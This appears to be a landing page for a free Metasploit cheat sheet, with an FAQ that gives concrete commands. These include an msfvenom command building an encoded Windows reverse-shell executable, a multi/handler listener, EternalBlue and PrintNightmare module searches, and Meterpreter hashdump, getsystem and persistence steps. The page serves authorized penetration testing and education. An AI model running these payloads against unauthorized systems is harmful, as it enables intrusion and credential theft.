Metasploit Reference
Free reference guide: Metasploit Reference
About Metasploit Reference
This Metasploit Reference is a searchable cheat sheet for the Metasploit Framework penetration testing platform, organized into six categories: Modules, Exploit, Payload, Meterpreter, Auxiliary, and Post. Each entry includes the command syntax, a description, and real-world usage examples for authorized security testing.
The reference covers core Metasploit operations including msfconsole startup, module searching (by type, platform, CVE, name), module selection with use, option configuration with set/setg, show options, info, and the back command. Exploit execution covers run/exploit, background jobs (-j), vulnerability checking, session management, and multi/handler listener setup.
Advanced topics include msfvenom payload generation (EXE, encoded, staged vs. stageless), Meterpreter post-exploitation commands (sysinfo, getuid, shell, upload/download, hashdump, getsystem, migrate, background), auxiliary scanner modules (TCP port scan, SMB version, HTTP directory scan, SOCKS proxy), and post-exploitation modules (user enumeration, local exploit suggester, persistence, credential collection, autoroute pivoting).
Key Features
- Complete Metasploit Framework command reference with 34+ entries across 6 categories
- Module management: msfconsole, search (type/platform/CVE/name), use, show options, set/setg, info
- Exploit execution: run/exploit, background jobs (-j), check vulnerability, sessions management, multi/handler
- Payload operations: msfvenom generation, encoders (shikata_ga_nai), staged vs. stageless payload types
- Meterpreter commands: sysinfo, getuid, shell, upload/download, hashdump, getsystem, migrate
- Auxiliary scanners: TCP portscan, SMB version detection, HTTP directory scanning, SOCKS proxy
- Post-exploitation: user enumeration, local exploit suggester, persistence, credential gathering, autoroute
- Instant search and category filtering for quick command lookup during penetration tests
Frequently Asked Questions
What Metasploit topics does this cheat sheet cover?
It covers six categories: Modules (msfconsole, search, use, info, show options, set/setg, back), Exploit (run/exploit, background jobs, check, sessions, multi/handler), Payload (show payloads, set PAYLOAD, msfvenom generation, encoders, staged vs. stageless), Meterpreter (sysinfo, getuid, shell, upload/download, hashdump, getsystem, migrate, background), Auxiliary (TCP portscan, SMB version scan, HTTP directory scan, SOCKS proxy), and Post (user enumeration, local exploit suggester, persistence, credentials, autoroute).
How do I search for modules in Metasploit?
Use the search command with filters: search type:exploit platform:windows smb finds Windows SMB exploits. Search by CVE with search cve:2021-34527, by name with search name:eternalblue, or combine filters. Results show module paths you can then select with the use command.
What is the difference between staged and stageless payloads?
Staged payloads (windows/meterpreter/reverse_tcp with /) send a small stager first that downloads the full payload. Stageless payloads (windows/meterpreter_reverse_tcp with _) send the complete payload in one package. Staged payloads are smaller but require a stable connection; stageless are larger but more reliable.
How do I generate payloads with msfvenom?
Use msfvenom -p <payload> LHOST=IP LPORT=port -f format -o output. For example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe. Add -e x86/shikata_ga_nai -i 3 for encoding. List available payloads with msfvenom -l payloads, formats with -l formats.
What are the essential Meterpreter commands?
Key commands include: sysinfo (system details), getuid (current user), shell (drop to OS shell), upload/download (file transfer), hashdump (password hashes), getsystem (privilege escalation to SYSTEM), migrate PID (move to another process), ps (list processes), and background (return to msfconsole while keeping the session).
How do I set up a Metasploit listener?
Use exploit/multi/handler: use exploit/multi/handler, then set PAYLOAD windows/meterpreter/reverse_tcp, set LHOST 0.0.0.0, set LPORT 4444, and exploit -j to run in the background. This listens for incoming connections from generated payloads.
What auxiliary modules are available for scanning?
Common scanners include auxiliary/scanner/portscan/tcp for TCP port scanning across subnets, auxiliary/scanner/smb/smb_version for SMB service detection, auxiliary/scanner/http/dir_scanner for web directory enumeration, and auxiliary/server/socks_proxy for setting up a SOCKS proxy for pivoting.
Is this Metasploit reference free?
Yes, completely free with no account needed. All content loads in your browser with instant search and category filtering. This reference is intended for authorized penetration testing and security education only. Works on desktop, tablet, and mobile with dark mode.